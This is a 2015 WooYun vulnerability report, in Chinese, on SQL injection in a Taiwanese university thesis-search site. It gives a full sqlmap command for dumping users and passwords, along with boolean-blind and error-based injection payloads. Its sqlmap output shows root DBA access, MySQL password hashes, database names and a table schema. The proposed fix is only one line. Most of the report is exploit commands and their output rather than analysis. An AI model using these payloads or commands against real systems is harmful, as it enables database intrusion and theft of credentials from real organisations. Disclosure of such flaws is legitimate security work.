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缺陷编号：wooyun-2015-0149321

漏洞标题：台湾铭傅大学某分站存在sql注射漏洞（DBA权限/root密码泄露）（臺灣地區）

相关厂商：台湾铭傅大学

漏洞作者： 路人甲

提交时间：2015-10-27 14:50

修复时间：2015-12-12 00:00

公开时间：2015-12-12 00:00

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：10

漏洞状态：已交由第三方合作机构(Hitcon台湾互联网漏洞报告平台)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

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漏洞详情

披露状态：

2015-10-27： 细节已通知厂商并且等待厂商处理中
2015-10-27： 厂商已经确认，细节仅向厂商公开
2015-11-06： 细节向核心白帽子及相关领域专家公开
2015-11-16： 细节向普通白帽子公开
2015-11-26： 细节向实习白帽子公开
2015-12-12： 细节向公众公开

简要描述：

台湾铭傅大学某分站存在sql注射漏洞（DBA权限/root密码泄露）

详细说明：

测试地址：http://**.**.**.**/ETD-db/ETD-search-c/view_etd?URN=etd-0626106-123109

python sqlmap.py -u "http://**.**.**.**/ETD-db/ETD-search-c/view_etd?URN=etd-0626106-123109" -p URN --technique=BE --random-agent --batch --current-user --is-dba --users --passwords

漏洞证明：

---
Parameter: URN (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: URN=etd-0626106-123109' AND 7469=7469 AND 'jBqi'='jBqi
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: URN=etd-0626106-123109' AND (SELECT 2067 FROM(SELECT COUNT(*),CONCAT(0x7162626271,(SELECT (ELT(2067=2067,1))),0x7162787a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'zgar'='zgar
---
web server operating system: Linux Mandriva 2008
web application technology: Apache 2.2.6
back-end DBMS: MySQL 5.0
current user:    'root@localhost'
current user is DBA:    True
database management system users [2]:
[*] 'root'@'localhost'
[*] 'skyman'@'localhost'
database management system users password hashes:
[*] root [1]:
    password hash: 634257d56a847967
[*] skyman [1]:
    password hash: 36ead6da63c566ef
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: URN (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: URN=etd-0626106-123109' AND 7469=7469 AND 'jBqi'='jBqi
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: URN=etd-0626106-123109' AND (SELECT 2067 FROM(SELECT COUNT(*),CONCAT(0x7162626271,(SELECT (ELT(2067=2067,1))),0x7162787a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'zgar'='zgar
---
web server operating system: Linux Mandriva 2008
web application technology: Apache 2.2.6
back-end DBMS: MySQL 5.0
available databases [8]:
[*] etd_available
[*] etd_global
[*] etd_qnaire
[*] etd_submitted
[*] information_schema
[*] mysql
[*] test
[*] tmp
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: URN (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: URN=etd-0626106-123109' AND 7469=7469 AND 'jBqi'='jBqi
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: URN=etd-0626106-123109' AND (SELECT 2067 FROM(SELECT COUNT(*),CONCAT(0x7162626271,(SELECT (ELT(2067=2067,1))),0x7162787a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'zgar'='zgar
---
web server operating system: Linux Mandriva 2008
web application technology: Apache 2.2.6
back-end DBMS: MySQL 5.0
Database: etd_available
[7 tables]
+---------------------+
| advisor_by_urn      |
| etd_db_availability |
| etd_main            |
| filename_by_urn     |
| keyword_by_urn      |
| keyword_c_by_urn    |
| oai_record          |
+---------------------+
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: URN (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: URN=etd-0626106-123109' AND 7469=7469 AND 'jBqi'='jBqi
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: URN=etd-0626106-123109' AND (SELECT 2067 FROM(SELECT COUNT(*),CONCAT(0x7162626271,(SELECT (ELT(2067=2067,1))),0x7162787a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'zgar'='zgar
---
web server operating system: Linux Mandriva 2008
web application technology: Apache 2.2.6
back-end DBMS: MySQL 5.0
Database: etd_available
Table: etd_db_availability
[7 columns]
+-----------------+--------------+
| Column          | Type         |
+-----------------+--------------+
| DB_address      | varchar(100) |
| DB_availability | varchar(30)  |
| DB_email        | varchar(100) |
| DB_grant_choice | varchar(30)  |
| DB_opendate     | date         |
| DB_phone        | varchar(20)  |
| urn             | varchar(30)  |
+-----------------+--------------+

修复方案：

增加过滤。

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：18

确认时间：2015-10-27 23:58

厂商回复：

感謝通報

最新状态：

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